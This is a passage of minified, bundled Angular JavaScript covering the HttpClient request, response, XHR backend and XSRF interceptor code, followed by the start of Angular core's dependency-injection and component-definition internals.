k{constructor(){this.map=new Map}set(J,Ae){return this.map.set(J,Ae),this}get(J){return this.map.has(J)||this.map.set(J,J.defaultValue()),this.map.get(J)}delete(J){return this.map.delete(J),this}has(J){return this.map.has(J)}keys(){return this.map.keys()}}function se(xe){return typeof ArrayBuffer<"u"&&xe instanceof ArrayBuffer}function ee(xe){return typeof Blob<"u"&&xe instanceof Blob}function q(xe){return typeof FormData<"u"&&xe instanceof FormData}class ce{constructor(J,Ae,mt,Ct){let jt;if(this.url=Ae,this.body=null,this.reportProgress=!1,this.withCredentials=!1,this.responseType="json",this.method=J.toUpperCase(),function K(xe){switch(xe){case"DELETE":case"GET":case"HEAD":case"OPTIONS":case"JSONP":return!1;default:return!0}}(this.method)||Ct?(this.body=void 0!==mt?mt:null,jt=Ct):jt=mt,jt&&(this.reportProgress=!!jt.reportProgress,this.withCredentials=!!jt.withCredentials,jt.responseType&&(this.responseType=jt.responseType),jt.headers&&(this.headers=jt.headers),jt.context&&(this.context=jt.context),jt.params&&(this.params=jt.params)),this.headers||(this.headers=new g),this.context||(this.context=new k),this.params){const pt=this.params.toString();if(0===pt.length)this.urlWithParams=Ae;else{const nt=Ae.indexOf("?");this.urlWithParams=Ae+(-1===nt?"?":nt<Ae.length-1?"&":"")+pt}}else this.params=new oe,this.urlWithParams=Ae}serializeBody(){return null===this.body?null:se(this.body)||ee(this.body)||q(this.body)||function we(xe){return typeof URLSearchParams<"u"&&xe instanceof URLSearchParams}(this.body)||"string"==typeof this.body?this.body:this.body instanceof oe?this.body.toString():"object"==typeof this.body||"boolean"==typeof this.body||Array.isArray(this.body)?JSON.stringify(this.body):this.body.toString()}detectContentTypeHeader(){return null===this.body||q(this.body)?null:ee(this.body)?this.body.type||null:se(this.body)?null:"string"==typeof this.body?"text/plain":this.body instanceof oe?"application/x-www-form-urlencoded;charset=UTF-8":"object"==typeof this.body||"number"==typeof this.body||"boolean"==typeof this.body?"application/json":null}clone(J={}){const Ae=J.method||this.method,mt=J.url||this.url,Ct=J.responseType||this.responseType,jt=void 0!==J.body?J.body:this.body,pt=void 0!==J.withCredentials?J.withCredentials:this.withCredentials,nt=void 0!==J.reportProgress?J.reportProgress:this.reportProgress;let fe=J.headers||this.headers,Ee=J.params||this.params;const at=J.context??this.context;return void 0!==J.setHeaders&&(fe=Object.keys(J.setHeaders).reduce((Se,ot)=>Se.set(ot,J.setHeaders[ot]),fe)),J.setParams&&(Ee=Object.keys(J.setParams).reduce((Se,ot)=>Se.set(ot,J.setParams[ot]),Ee)),new ce(Ae,mt,jt,{params:Ee,headers:fe,context:at,reportProgress:nt,responseType:Ct,withCredentials:pt})}}var je=(()=>((je=je||{})[je.Sent=0]="Sent",je[je.UploadProgress=1]="UploadProgress",je[je.ResponseHeader=2]="ResponseHeader",je[je.DownloadProgress=3]="DownloadProgress",je[je.Response=4]="Response",je[je.User=5]="User",je))();class Ze{constructor(J,Ae=200,mt="OK"){this.headers=J.headers||new g,this.status=void 0!==J.status?J.status:Ae,this.statusText=J.statusText||mt,this.url=J.url||null,this.ok=this.status>=200&&this.status<300}}class le extends Ze{constructor(J={}){super(J),this.type=je.ResponseHeader}clone(J={}){return new le({headers:J.headers||this.headers,status:void 0!==J.status?J.status:this.status,statusText:J.statusText||this.statusText,url:J.url||this.url||void 0})}}class Oe extends Ze{constructor(J={}){super(J),this.type=je.Response,this.body=void 0!==J.body?J.body:null}clone(J={}){return new Oe({body:void 0!==J.body?J.body:this.body,headers:J.headers||this.headers,status:void 0!==J.status?J.status:this.status,statusText:J.statusText||this.statusText,url:J.url||this.url||void 0})}}class Qe extends Ze{constructor(J){super(J,0,"Unknown Error"),this.name="HttpErrorResponse",this.ok=!1,this.message=this.status>=200&&this.status<300?`Http failure during parsing for ${J.url||"(unknown url)"}`:`Http failure response for ${J.url||"(unknown url)"}: ${J.status} ${J.statusText}`,this.error=J.error||null}}function Ye(xe,J){return{body:J,headers:xe.headers,context:xe.context,observe:xe.observe,params:xe.params,reportProgress:xe.reportProgress,responseType:xe.responseType,withCredentials:xe.withCredentials}}let qe=(()=>{class xe{constructor(Ae){this.handler=Ae}request(Ae,mt,Ct={}){let jt;if(Ae instanceof ce)jt=Ae;else{let fe,Ee;fe=Ct.headers instanceof g?Ct.headers:new g(Ct.headers),Ct.params&&(Ee=Ct.params instanceof oe?Ct.params:new oe({fromObject:Ct.params})),jt=new ce(Ae,mt,void 0!==Ct.body?Ct.body:null,{headers:fe,context:Ct.context,params:Ee,reportProgress:Ct.reportProgress,responseType:Ct.responseType||"json",withCredentials:Ct.withCredentials})}const pt=(0,s.of)(jt).pipe((0,c.b)(fe=>this.handler.handle(fe)));if(Ae instanceof ce||"events"===Ct.observe)return pt;const nt=pt.pipe((0,f.h)(fe=>fe instanceof Oe));switch(Ct.observe||"body"){case"body":switch(jt.responseType){case"arraybuffer":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&!(fe.body instanceof ArrayBuffer))throw new Error("Response is not an ArrayBuffer.");return fe.body}));case"blob":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&!(fe.body instanceof Blob))throw new Error("Response is not a Blob.");return fe.body}));case"text":return nt.pipe((0,E.U)(fe=>{if(null!==fe.body&&"string"!=typeof fe.body)throw new Error("Response is not a string.");return fe.body}));default:return nt.pipe((0,E.U)(fe=>fe.body))}case"response":return nt;default:throw new Error(`Unreachable: unhandled observe type ${Ct.observe}}`)}}delete(Ae,mt={}){return this.request("DELETE",Ae,mt)}get(Ae,mt={}){return this.request("GET",Ae,mt)}head(Ae,mt={}){return this.request("HEAD",Ae,mt)}jsonp(Ae,mt){return this.request("JSONP",Ae,{params:(new oe).append(mt,"JSONP_CALLBACK"),observe:"body",responseType:"json"})}options(Ae,mt={}){return this.request("OPTIONS",Ae,mt)}patch(Ae,mt,Ct={}){return this.request("PATCH",Ae,Ye(Ct,mt))}post(Ae,mt,Ct={}){return this.request("POST",Ae,Ye(Ct,mt))}put(Ae,mt,Ct={}){return this.request("PUT",Ae,Ye(Ct,mt))}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(_))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();function Ke(xe,J){return J(xe)}function dt(xe,J){return(Ae,mt)=>J.intercept(Ae,{handle:Ct=>xe(Ct,mt)})}const ze=new a.OlP("HTTP_INTERCEPTORS"),De=new a.OlP("HTTP_INTERCEPTOR_FNS");function re(){let xe=null;return(J,Ae)=>(null===xe&&(xe=((0,a.f3M)(ze,{optional:!0})??[]).reduceRight(dt,Ke)),xe(J,Ae))}let ve=(()=>{class xe extends _{constructor(Ae,mt){super(),this.backend=Ae,this.injector=mt,this.chain=null}handle(Ae){if(null===this.chain){const mt=Array.from(new Set(this.injector.get(De)));this.chain=mt.reduceRight((Ct,jt)=>function bt(xe,J,Ae){return(mt,Ct)=>Ae.runInContext(()=>J(mt,jt=>xe(jt,Ct)))}(Ct,jt,this.injector),Ke)}return this.chain(Ae,mt=>this.backend.handle(mt))}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(S),a.LFG(a.lqb))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();const Et=/^\\)\\]\\}\',?\\n/;let Pt=(()=>{class xe{constructor(Ae){this.xhrFactory=Ae}handle(Ae){if("JSONP"===Ae.method)throw new Error("Attempted to construct Jsonp request without HttpClientJsonpModule installed.");return new u.y(mt=>{const Ct=this.xhrFactory.build();if(Ct.open(Ae.method,Ae.urlWithParams),Ae.withCredentials&&(Ct.withCredentials=!0),Ae.headers.forEach((Ne,ut)=>Ct.setRequestHeader(Ne,ut.join(","))),Ae.headers.has("Accept")||Ct.setRequestHeader("Accept","application/json, text/plain, */*"),!Ae.headers.has("Content-Type")){const Ne=Ae.detectContentTypeHeader();null!==Ne&&Ct.setRequestHeader("Content-Type",Ne)}if(Ae.responseType){const Ne=Ae.responseType.toLowerCase();Ct.responseType="json"!==Ne?Ne:"text"}const jt=Ae.serializeBody();let pt=null;const nt=()=>{if(null!==pt)return pt;const Ne=Ct.statusText||"OK",ut=new g(Ct.getAllResponseHeaders()),Rt=function Dt(xe){return"responseURL"in xe&&xe.responseURL?xe.responseURL:/^X-Request-URL:/m.test(xe.getAllResponseHeaders())?xe.getResponseHeader("X-Request-URL"):null}(Ct)||Ae.url;return pt=new le({headers:ut,status:Ct.status,statusText:Ne,url:Rt}),pt},fe=()=>{let{headers:Ne,status:ut,statusText:Rt,url:Zt}=nt(),a1=null;204!==ut&&(a1=typeof Ct.response>"u"?Ct.responseText:Ct.response),0===ut&&(ut=a1?200:0);let _1=ut>=200&&ut<300;if("json"===Ae.responseType&&"string"==typeof a1){const G1=a1;a1=a1.replace(Et,"");try{a1=""!==a1?JSON.parse(a1):null}catch(gn){a1=G1,_1&&(_1=!1,a1={error:gn,text:a1})}}_1?(mt.next(new Oe({body:a1,headers:Ne,status:ut,statusText:Rt,url:Zt||void 0})),mt.complete()):mt.error(new Qe({error:a1,headers:Ne,status:ut,statusText:Rt,url:Zt||void 0}))},Ee=Ne=>{const{url:ut}=nt(),Rt=new Qe({error:Ne,status:Ct.status||0,statusText:Ct.statusText||"Unknown Error",url:ut||void 0});mt.error(Rt)};let at=!1;const Se=Ne=>{at||(mt.next(nt()),at=!0);let ut={type:je.DownloadProgress,loaded:Ne.loaded};Ne.lengthComputable&&(ut.total=Ne.total),"text"===Ae.responseType&&Ct.responseText&&(ut.partialText=Ct.responseText),mt.next(ut)},ot=Ne=>{let ut={type:je.UploadProgress,loaded:Ne.loaded};Ne.lengthComputable&&(ut.total=Ne.total),mt.next(ut)};return Ct.addEventListener("load",fe),Ct.addEventListener("error",Ee),Ct.addEventListener("timeout",Ee),Ct.addEventListener("abort",Ee),Ae.reportProgress&&(Ct.addEventListener("progress",Se),null!==jt&&Ct.upload&&Ct.upload.addEventListener("progress",ot)),Ct.send(jt),mt.next({type:je.Sent}),()=>{Ct.removeEventListener("error",Ee),Ct.removeEventListener("abort",Ee),Ct.removeEventListener("load",fe),Ct.removeEventListener("timeout",Ee),Ae.reportProgress&&(Ct.removeEventListener("progress",Se),null!==jt&&Ct.upload&&Ct.upload.removeEventListener("progress",ot)),Ct.readyState!==Ct.DONE&&Ct.abort()}})}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(n.JF))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();const Ie=new a.OlP("XSRF_ENABLED"),x=new a.OlP("XSRF_COOKIE_NAME",{providedIn:"root",factory:()=>"XSRF-TOKEN"}),b=new a.OlP("XSRF_HEADER_NAME",{providedIn:"root",factory:()=>"X-XSRF-TOKEN"});class B{}let ie=(()=>{class xe{constructor(Ae,mt,Ct){this.doc=Ae,this.platform=mt,this.cookieName=Ct,this.lastCookieString="",this.lastToken=null,this.parseCount=0}getToken(){if("server"===this.platform)return null;const Ae=this.doc.cookie||"";return Ae!==this.lastCookieString&&(this.parseCount++,this.lastToken=(0,n.Mx)(Ae,this.cookieName),this.lastCookieString=Ae),this.lastToken}}return xe.\\u0275fac=function(Ae){return new(Ae||xe)(a.LFG(n.K0),a.LFG(a.Lbi),a.LFG(x))},xe.\\u0275prov=a.Yz7({token:xe,factory:xe.\\u0275fac}),xe})();function Xe(xe,J){const Ae=xe.url.toLowerCase();if(!(0,a.f3M)(Ie)||"GET"===xe.method||"HEAD"===xe.method||Ae.startsWith("http://")||Ae.startsWith("https://"))return J(xe);const mt=(0,a.f3M)(B).getToken(),Ct=(0,a.f3M)(b);return null!=mt&&!xe.headers.has(Ct)&&(xe=xe.clone({headers:xe.headers.set(Ct,mt)})),J(xe)}var wt=(()=>((wt=wt||{})[wt.Interceptors=0]="Interceptors",wt[wt.LegacyInterceptors=1]="LegacyInterceptors",wt[wt.CustomXsrfConfiguration=2]="CustomXsrfConfiguration",wt[wt.NoXsrfProtection=3]="NoXsrfProtection",wt[wt.JsonpSupport=4]="JsonpSupport",wt[wt.RequestsMadeViaParent=5]="RequestsMadeViaParent",wt))();function Vt(xe,J){return{\\u0275kind:xe,\\u0275providers:J}}function Gt(...xe){const J=[qe,Pt,ve,{provide:_,useExisting:ve},{provide:S,useExisting:Pt},{provide:De,useValue:Xe,multi:!0},{provide:Ie,useValue:!0},{provide:B,useClass:ie}];for(const Ae of xe)J.push(...Ae.\\u0275providers);return(0,a.MR2)(J)}const u1=new a.OlP("LEGACY_INTERCEPTOR_FN");let Pe=(()=>{class xe{}return xe.\\u0275fac=function(Ae){return new(Ae||xe)},xe.\\u0275mod=a.oAB({type:xe}),xe.\\u0275inj=a.cJS({providers:[Gt(Vt(wt.LegacyInterceptors,[{provide:u1,useFactory:re},{provide:De,useExisting:u1,multi:!0}]))]}),xe})()},4650:(At,ae,d)=>{"use strict";d.d(ae,{$8M:()=>oi,$WT:()=>$,$Z:()=>E6,AFp:()=>O9,ALo:()=>Xd,AaK:()=>_,AsE:()=>No,BQk:()=>Oo,CHM:()=>O1,CRH:()=>d9,CZH:()=>xc,Ckj:()=>q3,CqO:()=>u0,D6c:()=>Rf,DdM:()=>jd,EJc:()=>Zh,EiD:()=>Z3,EpF:()=>l0,F$t:()=>g0,F4k:()=>d0,FYo:()=>l6,FiY:()=>On,G48:()=>vf,Gf:()=>c9,GfV:()=>d6,GkF:()=>n3,Gpc:()=>C,Gre:()=>U0,HOy:()=>y3,Hsn:()=>v0,IIB:()=>Gh,Ikx:()=>Ho,JOm:()=>L2,JVY:()=>Gc,JZr:()=>G,Jf7:()=>u6,KtG:()=>an,L6k:()=>jc,LAX:()=>Yc,LFG:()=>Pe,LSH:()=>m4,Lbi:()=>Yh,Lck:()=>ju,MAs:()=>o0,MGl:()=>Io,MMx:()=>h7,MR2:()=>sl,NdJ:()=>a3,O4$:()=>H2,OlP:()=>yn,Oqu:()=>Fo,P3R:()=>X3,PXZ:()=>hf,Q6J:()=>X4,QGY:()=>r3,QbO:()=>Wh,Qsj:()=>Cl,R0b:()=>yr,RDi:()=>Fc,Rgc:()=>S3,SBq:()=>Ts,Sil:()=>qh,Suo:()=>l9,TTD:()=>fi,TgZ:()=>To,Tol:()=>T0,Udp:()=>m3,VKq:()=>Yd,W1O:()=>p9,WFA:()=>s3,WLB:()=>Wd,XFs:()=>Ie,Xpm:()=>_1,Xts:()=>g4,Y36:()=>Ga,YKP:()=>Rd,YNc:()=>s0,Yjl:()=>Me,Yz7:()=>Be,Z0I:()=>R,ZZ4:()=>F7,_Bn:()=>Id,_UZ:()=>t3,_Vd:()=>zs,_c5:()=>Of,_uU:()=>F0,aQg:()=>N7,c2e:()=>$h,cJS:()=>P,cg1:()=>M3,d8E:()=>Vo,dDg:()=>cf,dqk:()=>ie,eBb:()=>U3,eFA:()=>W9,eJc:()=>C7,ekj:()=>g3,eoX:()=>U9,evT:()=>h6,f3M:()=>Ue,g9A:()=>R9,h0i:()=>Go,hGG:()=>If,hYB:()=>Ro,hij:()=>Ns,iGM:()=>o9,ifc:()=>fe,ip1:()=>k9,jDz:()=>Fd,kEZ:()=>$d,kL8:()=>nc,kYT:()=>on,kcU:()=>l2,lG2:()=>vt,lcZ:()=>e9,lnq:()=>_3,lqb:()=>ya,lri:()=>V9,mCW:()=>As,n5z:()=>ta,n_E:()=>_c,oAB:()=>P1,oJD:()=>Q3,oxw:()=>m0,pB0:()=>Wc,q3G:()=>Si,qLn:()=>Ls,qOj:()=>K4,qZA:()=>Lo,qzn:()=>Na,rWj:()=>B9,r_U:()=>jh,s9C:()=>o3,sBO:()=>_f,s_b:()=>bc,soG:()=>Dc,tb:()=>j9,tp0:()=>Yi,uIk:()=>q4,vHH:()=>Q,vR:()=>ra,vpe:()=>Qr,wAp:()=>z1,xi3:()=>t9,xp6:()=>v6,ynx:()=>ko,z2F:()=>wc,z3N:()=>Lr,zSh:()=>C4,zs3:()=>ba});var n=d(8929),a=d(2654),s=d(6498),u=d(6787),c=d(2474);function f(e){for(let t in e)if(e[t]===f)return t;throw Error("Could not find renamed property on target object.")}function E(e,t){for(const i in t)t.hasOwnProperty(i)&&!e.hasOwnProperty(i)&&(e[i]=t[i])}function _(e){if("string"==typeof e)return e;if(Array.isArray(e))return"["+e.map(_).join(", ")+"]";if(null==e)return""+e;if(e.overriddenName)return`${e.overriddenName}`;if(e.name)return`${e.name}`;const t=e.toString();if(null==t)return""+t;const i=t.indexOf("\\n");return-1===i?t:t.substring(0,i)}function S(e,t){return null==e||""===e?null===t?"":t:null==t||""===t?e:e+" "+t}const g=f({__forward_ref__:f});function C(e){return e.__forward_ref__=C,e.toString=function(){return _(this())},e}function z(e){return H(e)?e():e}function H(e){return"function"==typeof e&&e.hasOwnProperty(g)&&e.__forward_ref__===C}function j(e){return e&&!!e.\\u0275providers}const G="https://g.co/ng/security#xss";class Q extends Error{constructor(t,i){super(oe(t,i)),this.code=t}}function oe(e,t){return`NG0${Math.abs(e)}${t?": "+t.trim():""}`}function Ce(e){return"string"==typeof e?e:null==e?"":String(e)}function q(e,t){throw new Q(-201,!1)}function De(e,t){null==e&&function re(e,t,i,r){throw new Error(`ASSERTION ERROR: ${e}`+(null==r?"":` [Expected=> ${i} ${r} ${t} <=Actual]`))}(t,e,null,"!=")}function Be(e){return{token:e.token,providedIn:e.providedIn||null,factory:e.factory,value:void 0}}function P(e){return{providers:e.providers||[],imports:e.imports||[]}}function w(e){return X(e,Je)||X(e,Dt)}function R(e){return null!==w(e)}function X(e,t){return e.hasOwnProperty(t)?e[t]:null}function ct(e){return e&&(e.hasOwnProperty(Et)||e.hasOwnProperty(Pt))?e[Et]:null}const Je=f({\\u0275prov:f}),Et=f({\\u0275inj:f}),Dt=f({ngInjectableDef:f}),Pt=f({ngInjectorDef:f});var Ie=(()=>((Ie=Ie||{})[Ie.Default=0]="Default",Ie[Ie.Host=1]="Host",Ie[Ie.Self=2]="Self",Ie[Ie.SkipSelf=4]="SkipSelf",Ie[Ie.Optional=8]="Optional",Ie))();let te;function m(e){const t=te;return te=e,t}function b(e,t,i){const r=w(e);return r&&"root"==r.providedIn?void 0===r.value?r.value=r.factory():r.value:i&Ie.Optional?null:void 0!==t?t:void q(_(e))}const ie=(()=>typeof globalThis<"u"&&globalThis||typeof global<"u"&&global||typeof window<"u"&&window||typeof self<"u"&&typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope&&self)(),Vt={},Gt="__NG_DI_FLAG__",qt="ngTempTokenPath",u1="ngTokenPath",c1=/\\n/gm,It="\\u0275",_t="__source";let kt;function Fe(e){const t=kt;return kt=e,t}function be(e,t=Ie.Default){if(void 0===kt)throw new Q(-203,!1);return null===kt?b(e,void 0,t):kt.get(e,t&Ie.Optional?null:void 0,t)}function Pe(e,t=Ie.Default){return(function x(){return te}()||be)(z(e),t)}function Ue(e,t=Ie.Default){return Pe(e,xe(t))}function xe(e){return typeof e>"u"||"number"==typeof e?e:0|(e.optional&&8)|(e.host&&1)|(e.self&&2)|(e.skipSelf&&4)}function J(e){const t=[];for(let i=0;i<e.length;i++){const r=z(e[i]);if(Array.isArray(r)){if(0===r.length)throw new Q(900,!1);let o,l=Ie.Default;for(let v=0;v<r.length;v++){const F=r[v],Y=mt(F);"number"==typeof Y?-1===Y?o=F.token:l|=Y:o=F}t.push(Pe(o,l))}else t.push(Pe(r))}return t}function Ae(e,t){return e[Gt]=t,e.prototype[Gt]=t,e}function mt(e){return e[Gt]}function pt(e){return{toString:e}.toString()}var nt=(()=>((nt=nt||{})[nt.OnPush=0]="OnPush",nt[nt.Default=1]="Default",nt))(),fe=(()=>{return(e=fe||(fe={}))[e.Emulated=0]="Emulated",e[e.None=2]="None",e[e.ShadowDom=3]="ShadowDom",fe;var e})();const Ee={},at=[],Se=f({\\u0275cmp:f}),ot=f({\\u0275dir:f}),Ne=f({\\u0275pipe:f}),ut=f({\\u0275mod:f}),Rt=f({\\u0275fac:f}),Zt=f({__NG_ELEMENT_ID__:f});let a1=0;function _1(e){return pt(()=>{const t=lt(e),i={...t,decls:e.decls,vars:e.vars,template:e.template,consts:e.consts||null,ngContentSelectors:e.ngContentSelectors,onPush:e.changeDetection===nt.OnPush,directiveDefs:null,pipeDefs:null,dependencies:t.standalone&&e.dependencies||null,getStandaloneInjector:null,data:e.data||{},encapsulation:e.encapsulation||fe.Emulated,id:"c"+a1++,styles:e.styles||at,_:null,schemas:e.schemas||null,tView:null};Wt(i);const r=e.dependencies;return i.directiveDefs=p1(r,!1),i.pipeDefs=p1(r,!0),i})}function gn(e){return O(e)||de(e)}function nn(e){return null!==e}function P1(e){return pt(()=>({type:e.type,bootstrap:e.bootstrap||at,declarations:e.declarations||at,imports:e.imports||at,exports:e.exports||at,transitiveCompileScopes:null,schemas:e.schemas||null,id:e.id||null}))}function on(e,t){return pt(()=>{const i=ke(e,!0);i.declarations=t.declarations||at,i.imports=t.imports||at,i.exports=t.exports||at})}function Ge(e,t){if(null==e)return Ee;const i={};for(const r in e)if(e.hasOwnProperty(r)){let o=e[r],l=o;Array.isArray(o)&&(l=o[1],o=o[0]),i[o]=r,t&&(t[o]=l)}return i}function vt(e){return pt(()=>{const t=lt(e);return Wt(t),t})}function Me(e){return{type:e.type,name:e.name,factory:null,pure:!1!==e.pure,standalone:!0===e.standalone,onDestroy:e.type.prototype.ngOnDestroy||null}}function O(e){return e[Se]||null}function de(e){return e[ot]||null}function h(e){return e[Ne]||null}function $(e){const t=O(e)||de(e)||h(e);return null!==t&&t.standalone}function ke(e,t){const i=e[ut]||null;if(!i&&!0===t)throw new Error(`Type ${_(e)} does not have \'\\u0275mod\' property.`);return i}function lt(e){const t={};return{type:e.type,providersResolver:null,factory:null,hostBindings:e.hostBindings||null,hostVars:e.hostVars||0,hostAttrs:e.hostAttrs||null,contentQueries:e.contentQueries||null,declaredInputs:t,exportAs:e.exportAs||null,standalone:!0===e.standalone,selectors:e.selectors||at,viewQuery:e.viewQuery||null,features:e.features||null,setInput:null,findHostDirectiveDefs:null,hostDirectives:null,inputs:Ge(e.inputs,t),outputs:Ge(e.outputs)}}function Wt(e){e.features?.forEach(t=>t(e))}function p1(e,t){if(!e)return null;const i=t?h:gn;return()=>("function"==typeof e?e():e).map(r=>i(r)).filter(nn)}const w1=0,Qt=1,h1=2,N1=3,Y1=4,T1=5,V1=6,vn=7,E1=8,In=9,Gn=10,D1=11,ci=12,fn=13,Rn=14,cn=15,X1=16,Pn=17,Fn=18,An=19,$n=20,li=21,L1=22,Mn=1,di=2,ri=7,_i=8,Nn=9,ln=10;function dn(e){return Array.isArray(e)&&"object"==typeof e[Mn]}function Sn(e){return Array.isArray(e)&&!0===e[Mn]}function Ei(e){return 0!=(4&e.flags)}function Hn(e){return e.componentOffset>-1}function ui(e){return 1==(1&e.flags)}function pn(e){return!!e.template}function Fi(e){return 0!=(256&e[h1])}function ai(e,t){return e.hasOwnProperty(Rt)?e[Rt]:null}class jn{constructor(t,i,r){this.previousValue=t,this.currentValue=i,this.firstChange=r}isFirstChange(){return this.firstChange}}function fi(){return Ui}function Ui(e){return e.type.prototype.ngOnChanges&&(e.setInput=Li),o2}function o2(){const e=Ci(this),t=e?.current;if(t){const i=e.previous;if(i===Ee)e.previous=t;else for(let r in t)i[r]=t[r];e.current=null,this.ngOnChanges(t)}}function Li(e,t,i,r){const o=this.declaredInputs[i],l=Ci(e)||function ti(e,t){return e[ki]=t}(e,{previous:Ee,current:null}),v=l.current||(l.current={}),F=l.previous,Y=F[o];v[o]=new jn(Y&&Y.currentValue,t,F===Ee),e[r]=t}fi.ngInherit=!0;const ki="__ngSimpleChanges__";function Ci(e){return e[ki]||null}const bn=function(e,t,i){},Gi="svg";function en(e){for(;Array.isArray(e);)e=e[w1];return e}function m2(e,t){return en(t[e])}function _n(e,t){return en(t[e.index])}function pi(e,t){return e.data[t]}function si(e,t){return e[t]}function Vn(e,t){const i=t[e];return dn(i)?i:i[w1]}function xn(e){return 64==(64&e[h1])}function Qn(e,t){return null==t?null:e[t]}function w2(e){e[Fn]=0}function c2(e,t){e[T1]+=t;let i=e,r=e[N1];for(;null!==r&&(1===t&&1===i[T1]||-1===t&&0===i[T1]);)r[T1]+=t,i=r,r=r[N1]}const ye={lFrame:Tn(null),bindingsEnabled:!0};function gt(){return ye.bindingsEnabled}function Tt(){return ye.lFrame.lView}function t1(){return ye.lFrame.tView}function O1(e){return ye.lFrame.contextLView=e,e[E1]}function an(e){return ye.lFrame.contextLView=null,e}function W1(){let e=Bn();for(;null!==e&&64===e.type;)e=e.parent;return e}function Bn(){return ye.lFrame.currentTNode}function sn(e,t){const i=ye.lFrame;i.currentTNode=e,i.isParent=t}function Yn(){return ye.lFrame.isParent}function qn(){ye.lFrame.isParent=!1}function y(){const e=ye.lFrame;let t=e.bindingRootIndex;return-1===t&&(t=e.bindingRootIndex=e.tView.bindingStartIndex),t}function D(){return ye.lFrame.bindingIndex}function Le(){return ye.lFrame.bindingIndex++}function rt(e){const t=ye.lFrame,i=t.bindingIndex;return t.bindingIndex=t.bindingIndex+e,i}function Ft(e,t){const i=ye.lFrame;i.bindingIndex=i.bindingRootIndex=e,o1(t)}function o1(e){ye.lFrame.currentDirectiveIndex=e}function l1(e){const t=ye.lFrame.currentDirectiveIndex;return-1===t?null:e[t]}function F1(){return ye.lFrame.currentQueryIndex}function A1(e){ye.lFrame.currentQueryIndex=e}function C1(e){const t=e[Qt];return 2===t.type?t.declTNode:1===t.type?e[V1]:null}function S1(e,t,i){if(i&Ie.SkipSelf){let o=t,l=e;for(;!(o=o.parent,null!==o||i&Ie.Host||(o=C1(l),null===o||(l=l[cn],10&o.type))););if(null===o)return!1;t=o,e=l}const r=ye.lFrame=tn();return r.currentTNode=t,r.lView=e,!0}function Q1(e){const t=tn(),i=e[Qt];ye.lFrame=t,t.currentTNode=i.firstChild,t.lView=e,t.tView=i,t.contextLView=e,t.bindingIndex=i.bindingStartIndex,t.inI18n=!1}function tn(){const e=ye.lFrame,t=null===e?null:e.child;return null===t?Tn(e):t}function Tn(e){const t={currentTNode:null,isParent:!0,lView:null,tView:null,selectedIndex:-1,contextLView:null,elementDepthCount:0,currentNamespace:null,currentDirectiveIndex:-1,bindingRootIndex:-1,bindingIndex:-1,currentQueryIndex:0,parent:e,child:null,inI18n:!1};return null!==e&&(e.child=t),t}function En(){const e=ye.lFrame;return ye.lFrame=e.parent,e.currentTNode=null,e.lView=null,e}const wn=En;function e2(){const e=En();e.isParent=!0,e.tView=null,e.selectedIndex=-1,e.contextLView=null,e.elementDepthCount=0,e.currentDirectiveIndex=-1,e.currentNamespace=null,e.bindingRootIndex=-1,e.bindingIndex=-1,e.currentQueryIndex=0}function hn(){return ye.lFrame.selectedIndex}function zn(e){ye.lFrame.selectedIndex=e}function $1(){const e=ye.lFrame;return pi(e.tView,e.selectedIndex)}function H2(){ye.lFrame.currentNamespace=Gi}function l2(){!function Y2(){ye.lFrame.currentNamespace=null}()}function y1(e,t){for(let i=t.directiveStart,r=t.directiveEnd;i<r;i++){const l=e.data[i].type.prototype,{ngAfterContentInit:v,ngAfterContentChecked:F,ngAfterViewInit:Y,ngAfterViewChecked:me,ngOnDestroy:$e}=l;v&&(e.contentHooks??(e.contentHooks=[])).push(-i,v),F&&((e.contentHooks??(e.contentHooks=[])).push(i,F),(e.contentCheckHooks??(e.contentCheckHooks=[])).push(i,F)),Y&&(e.viewHooks??(e.viewHooks=[])).push(-i,Y),me&&((e.viewHooks??(e.viewHooks=[])).push(i,me),(e.viewCheckHooks??(e.viewCheckHooks=[])).push(i,me)),null!=$e&&(e.destroyHooks??(e.destroyHooks=[])).push(i,$e)}}function M1(e,t,i){he(e,t,3,i)}function H1(e,t,i,r){(3&e[h1])===i&&he(e,t,i,r)}function N(e,t){let i=e[h1];(3&i)===t&&(i&=2047,i+=1,e[h1]=i)}function he(e,t,i,r){const l=r??-1,v=t.length-1;let F=0;for(let Y=void 0!==r?65535&e[Fn]:0;Y<v;Y++)if("number"==typeof t[Y+1]){if(F=t[Y],null!=r&&F>=r)break}else t[Y]<0&&(e[Fn]+=65536),(F<l||-1==l)&&(W(e,i,t,Y),e[Fn]=(4294901760&e[Fn])+Y+2),Y++}function W(e,t,i,r){const o=i[r]<0,l=i[r+1],F=e[o?-i[r]:i[r]];if(o){if(e[h1]>>11<e[Fn]>>16&&(3&e[h1])===t){e[h1]+=2048,bn(4,F,l);try{l.call(F)}finally{bn(5,F,l)}}}else{bn(4,F,l);try{l.call(F)}finally{bn(5,F,l)}}}const Ve=-1;class ht{constructor(t,i,r){this.factory=t,this.resolving=!1,this.canSeeViewProviders=i,this.injectImpl=r}}function rn(e,t,i){let r=0;for(;r<i.length;){const o=i[r];if("number"==typeof o){if(0!==o)break;r++;const l=i[r++],v=i[r++],F=i[r++];e.setAttribute(t,v,F,l)}else{const l=o,v=i[++r];Di(l)?e.setProperty(t,l,v):e.setAttribute(t,l,v),r++}}return r}function kn(e){return 3===e||4===e||6===e}function Di(e){return 64===e.charCodeAt(0)}function wi(e,t){if(null!==t&&0!==t.length)if(null===e||0===e.length)e=t.slice();else{let i=-1;for(let r=0;r<t.length;r++){const o=t[r];"number"==typeof o?i=o:0===i||t2(e,i,o,null,-1===i||2===i?t[++r]:null)}}return e}function t2(e,t,i,r,o){let l=0,v=e.length;if(-1===t)v=-1;else for(;l<e.length;){const F=e[l++];if("number"==typeof F){if(F===t){v=-1;break}if(F>t){v=l-1;break}}}for(;l<e.length;){const F=e[l];if("number"==typeof F)break;if(F===i){if(null===r)return void(null!==o&&(e[l+1]=o));if(r===e[l+1])return 